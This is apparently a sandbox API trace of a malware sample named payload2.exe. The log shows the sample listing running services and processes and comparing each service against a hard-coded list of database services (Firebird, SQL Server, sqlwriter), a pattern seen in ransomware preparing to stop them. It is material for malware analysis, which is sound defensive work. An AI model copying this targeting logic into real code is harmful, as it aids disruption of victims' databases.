	[0201.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0201.381] lstrlenW (lpString="SamSs") returned 5
	[0201.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0201.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0201.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0201.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0201.382] lstrlenW (lpString="Schedule") returned 8
	[0201.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0201.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0201.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0201.382] lstrlenW (lpString="SecurityHealthService") returned 21
	[0201.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0201.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0201.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0201.382] lstrlenW (lpString="SENS") returned 4
	[0201.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0201.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0201.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0201.382] lstrlenW (lpString="ShellHWDetection") returned 16
	[0201.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0201.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0201.382] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0201.382] lstrlenW (lpString="Spooler") returned 7
	[0201.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0201.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0201.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0201.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0201.382] lstrlenW (lpString="StateRepository") returned 15
	[0201.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0201.383] lstrlenW (lpString="SysMain") returned 7
	[0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0201.383] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0201.383] lstrlenW (lpString="Themes") returned 6
	[0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0201.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0201.383] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0201.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0201.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0201.383] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0201.661] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0201.690] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5d8
	[0201.697] Process32FirstW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0201.698] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0201.698] lstrlenW (lpString="System") returned 6
	[0201.699] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0201.699] lstrlenW (lpString="smss.exe") returned 8
	[0201.699] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0201.700] lstrlenW (lpString="csrss.exe") returned 9
	[0201.700] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0201.700] lstrlenW (lpString="wininit.exe") returned 11
	[0201.700] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0201.701] lstrlenW (lpString="csrss.exe") returned 9
	[0201.701] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0201.701] lstrlenW (lpString="winlogon.exe") returned 12
	[0201.701] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0201.702] lstrlenW (lpString="services.exe") returned 12
	[0201.702] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0201.702] lstrlenW (lpString="lsass.exe") returned 9
	[0201.702] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0201.703] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0201.703] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0201.703] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0201.703] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.704] lstrlenW (lpString="svchost.exe") returned 11
	[0201.704] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.704] lstrlenW (lpString="svchost.exe") returned 11
	[0201.705] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0201.705] lstrlenW (lpString="dwm.exe") returned 7
	[0201.705] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.705] lstrlenW (lpString="svchost.exe") returned 11
	[0201.706] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.706] lstrlenW (lpString="svchost.exe") returned 11
	[0201.706] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.707] lstrlenW (lpString="svchost.exe") returned 11
	[0201.707] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.707] lstrlenW (lpString="svchost.exe") returned 11
	[0201.707] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.708] lstrlenW (lpString="svchost.exe") returned 11
	[0201.708] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.708] lstrlenW (lpString="svchost.exe") returned 11
	[0201.708] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.709] lstrlenW (lpString="svchost.exe") returned 11
	[0201.709] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.709] lstrlenW (lpString="svchost.exe") returned 11
	[0201.709] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.710] lstrlenW (lpString="svchost.exe") returned 11
	[0201.710] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.710] lstrlenW (lpString="svchost.exe") returned 11
	[0201.710] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0201.711] lstrlenW (lpString="spoolsv.exe") returned 11
	[0201.711] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.711] lstrlenW (lpString="svchost.exe") returned 11
	[0201.712] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0201.712] lstrlenW (lpString="audiodg.exe") returned 11
	[0201.712] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0201.713] lstrlenW (lpString="sihost.exe") returned 10
	[0201.713] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0201.713] lstrlenW (lpString="svchost.exe") returned 11
	[0201.713] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0201.714] lstrlenW (lpString="taskhostw.exe") returned 13
	[0201.714] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0201.714] lstrlenW (lpString="msoia.exe") returned 9
	[0201.715] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0201.715] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0201.715] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0201.715] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0201.716] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0201.716] lstrlenW (lpString="Memory Compression") returned 18
	[0201.716] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0201.717] lstrlenW (lpString="explorer.exe") returned 12
	[0201.717] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0201.717] lstrlenW (lpString="SearchUI.exe") returned 12
	[0201.717] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0201.718] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0201.718] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0201.718] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0201.718] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0201.719] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0201.719] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0201.719] lstrlenW (lpString="payload2.exe") returned 12
	[0201.719] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0201.720] lstrlenW (lpString="dllhost.exe") returned 11
	[0201.720] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0201.720] lstrlenW (lpString="dllhost.exe") returned 11
	[0201.720] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0201.721] lstrlenW (lpString="payload2.exe") returned 12
	[0201.721] Process32NextW (in: hSnapshot=0x5d8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 0
	[0201.721] CloseHandle (hObject=0x5d8) returned 1
	[0201.721] Sleep (dwMilliseconds=0x1f4) 
	[0202.457] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668420
	[0202.458] EnumServicesStatusExW (in: hSCManager=0x668420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0202.459] GetLastError () returned 0xea
	[0202.459] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bc4) returned 0x66b930
	[0202.459] EnumServicesStatusExW (in: hSCManager=0x668420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x66b930, cbBufSize=0x1bc4, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x66b930, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0202.460] CloseServiceHandle (hSCObject=0x668420) returned 1
	[0202.460] lstrlenW (lpString="Appinfo") returned 7
	[0202.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0202.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0202.460] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0202.460] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0202.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0202.460] lstrlenW (lpString="AppXSvc") returned 7
	[0202.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0202.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0202.460] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0202.460] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0202.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0202.460] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0202.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0202.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0202.461] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0202.461] lstrlenW (lpString="Audiosrv") returned 8
	[0202.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0202.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0202.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0202.461] lstrlenW (lpString="BFE") returned 3
	[0202.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0202.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0202.461] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0202.461] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0202.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0202.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0202.461] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0202.461] lstrlenW (lpString="CDPSvc") returned 6
	[0202.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0202.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0202.461] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0202.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
